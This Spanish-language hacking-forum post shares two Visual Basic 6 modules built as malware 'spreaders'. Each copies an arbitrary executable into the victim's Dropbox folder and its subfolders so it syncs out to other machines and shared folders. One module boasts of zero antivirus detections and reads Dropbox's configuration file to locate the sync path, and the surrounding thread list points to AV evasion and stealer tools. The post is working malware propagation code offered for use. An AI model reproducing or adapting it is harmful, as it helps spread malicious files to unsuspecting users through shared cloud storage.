3. [VB6] Simple DropBox-Spreader
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.
« anterior próximo »
Páginas: [1]   Ir Abajo

[VB6] Simple DropBox-Spreader

  • 0 Respuestas
  • 3415 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5499
  • Actividad:
    18.33%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de

[VB6] Simple DropBox-Spreader

« en: Agosto 26, 2013, 12:52:56 am »

Spreader para DropBox by exensoft

Código: Visual Basic
  1. '---------------------------------------------------------------------------------------
  2. ' Module         : modDropBoxSpreader
  3. ' Version        : 1.0
  4. ' Autor          : eXensoft
  5. ' Website        : www.BluePalmRAT.tk
  6. ' Creation       : 08/20/2013
  7. ' Purpose        : Very simple spreader for spreading a file via Dropbox
  8. ' Requiriments   : Dropbox must be installed (with default settings)
  9. ' Usage-Example  : Call DropboxSpread("C:\MySourceFile.exe", "SpreadMe.exe", True)
  10. '---------------------------------------------------------------------------------------
  11.  
  12. Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
  13.  
  14. Private Function DropboxSpread(mSourceFilePath As String, mSpeadName As String, Optional mSpreadToSubfolder As Boolean = True) As Boolean
  15.     'set bla bla bla
  16.    DropboxSpread = False
  17.     Dim mSubfolder As Collection
  18.     Dim myFSO As Object
  19.     Set myFSO = CreateObject("Scripting.FileSystemObject")
  20.     'Check if default Dropbox-Folder exists
  21.    If myFSO.FolderExists("C:\Users\" & Environ$("username") & "\Dropbox\") = True Then
  22.         'Copy SourceFile to Main-Folder
  23.        Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSpeadName, 0)
  24.         'Spread to Subfolders, too?
  25.        If mSpreadToSubfolder = True Then
  26.             'Get first Subfolders
  27.            Set mSubfolder = ListFolder("C:\Users\" & Environ$("username") & "\Dropbox\")
  28.             'Copy SourceFile to each SubFolder
  29.            For i = 1 To mSubfolder.Count
  30.                 Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSubfolder(i) & "\" & mSpeadName, 0)
  31.             Next i
  32.         End If
  33.         DoEvents
  34.         'Spreading is done
  35.        DropboxSpread = True
  36.     End If
  37. End Function
  38.  
  39. Private Function ListFolder(Mypath As String) As Collection
  40.     Dim MyName As String
  41.     Dim mSubfolder As New Collection
  42.     MyName = Dir(Mypath, vbDirectory)   ' Retrieve the first entry.
  43.    Do While MyName <> ""   ' Start the loop.
  44.       ' Ignore the current directory and the encompassing directory.
  45.       If MyName <> "." And MyName <> ".." Then
  46.           ' Use bitwise comparison to make sure MyName is a directory.
  47.          If (GetAttr(Mypath & MyName) And vbDirectory) = vbDirectory Then
  48.             mSubfolder.Add MyName  ' Display entry only if it
  49.          End If   ' it represents a directory.
  50.       End If
  51.        MyName = Dir   ' Get next entry.
  52.    Loop
  53.     Set ListFolder = mSubfolder
  54. End Function
  55.  

Modulo: http://www.sendspace.com/file/jqsf9n

Otro codigo mas por Chequinho:

Código: Visual Basic
  1. '---------------------------------------------------------------------------------------
  2. ' Modulo     : mDropboxSpread
  3. ' Autor      : chequinho
  4. ' Fecha      : 20/08/2013
  5. ' Finalidad  : Distribuir un archivo a la carpeta de Dropbox
  6. ' Uso        : Call DropboxSpread(sFilePath, sFileName, [bSubDirs])
  7. '               - sFilePath: El archivo a distribuir
  8. '               - sFileName: Nombre de archivo a copiar
  9. '               - bSubDirs: Copiar tambien a SubDirectorios (opcional)
  10. ' Detecciones: 0/35 (Native - Fast)
  11. ' Notas
  12. '   - Necesarias referencias a Microsoft Scripting Runtime y a Microsoft XML, v2.6 (o mayor)
  13. '   - Idea original: exensoft ([url]http://hackhound.org/forums/topic/2590-vb6-simple-dropbox-spreader/[/url])
  14. '---------------------------------------------------------------------------------------
  15.  
  16. Public Sub DropboxSpread(sFilePath As String, sFileName As String, Optional bSubDirs As Boolean = False)
  17.     Dim ObjFSO As New Scripting.FileSystemObject
  18.     ObjFSO.CopyFile sFilePath, getDropboxPath & "\" & sFileName, True
  19.     If bSubDirs = True Then
  20.         Dim oFolder As Scripting.Folder
  21.         Dim oSubFolder As Scripting.Folder
  22.         Set oFolder = oFileSys.GetFolder(getDropboxPath & "\")
  23.         For Each oSubFolder In oFolder.SubFolders
  24.             Call FSO.CopyFile(sFilePath, oSubFolder & "\" & sFileName, True)
  25.         Next oSubFolder
  26.         Set oFolder = Nothing
  27.     End If
  28. End Sub
  29.  
  30. 'http://www.nonhostile.com/howto-encode-decode-base64-vb6.asp
  31. Private Function DecodeBase64(ByVal strData As String) As String
  32.     Dim objXML As MSXML2.DOMDocument
  33.     Dim objNode As MSXML2.IXMLDOMElement
  34.     Set objXML = New MSXML2.DOMDocument
  35.     Set objNode = objXML.createElement("b64")
  36.     objNode.dataType = "bin.base64"
  37.     objNode.Text = strData
  38.     DecodeBase64 = StrConv(objNode.nodeTypedValue, vbUnicode)
  39.     Set objNode = Nothing
  40.     Set objXML = Nothing
  41. End Function
  42.  
  43. Private Function getDropboxPath() As String
  44.     Dim sDBPath As String
  45.     sDBPath = Environ$("APPDATA") & "\Dropbox\host.db"
  46.     getDropboxPath = DecodeBase64(Read_LastLine(sDBPath))
  47. End Function
  48.  
  49. 'http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/84.htm#3
  50. Private Function Read_LastLine(sFile As String) As String
  51.     Dim ObjTextStream As Scripting.TextStream
  52.     Dim ObjFSO As New Scripting.FileSystemObject
  53.     Dim ObjFile As File
  54.     Dim Lineas As String
  55.     Dim Ultima_Linea As Long
  56.     Set ObjFile = ObjFSO.GetFile(sFile)
  57.     Set ObjTextStream = ObjFile.OpenAsTextStream(ForReading, TristateUseDefault)
  58.     Do While Not ObjTextStream.AtEndOfStream
  59.         Lineas = Lineas & "<+>" & ObjTextStream.ReadLine
  60.         Ultima_Linea = Ultima_Linea + 1
  61.     Loop
  62.     Read_LastLine = Split(Lineas, "<+>")(Ultima_Linea)
  63. End Function
« Última modificación: Agosto 26, 2013, 12:55:17 am por ANTRAX »
En línea

Páginas: [1]   Ir Arriba
« anterior próximo »
 

¿Te gustó el post? COMPARTILO!



Fudeando .vbs a Nod32 [Simple]

Iniciado por Janpr99

 Respuestas: 1
Vistas: 2719 		Último mensaje Noviembre 03, 2013, 02:37:10 pm
por Cronos
[VB] Melt Simple

Iniciado por Juan

 Respuestas: 0
Vistas: 1851 		Último mensaje Agosto 30, 2010, 06:31:44 pm
por Juan
[SCR] Simple Stealer

Iniciado por k0ws

 Respuestas: 3
Vistas: 2749 		Último mensaje Marzo 31, 2012, 08:31:14 pm
por Pr0ph3t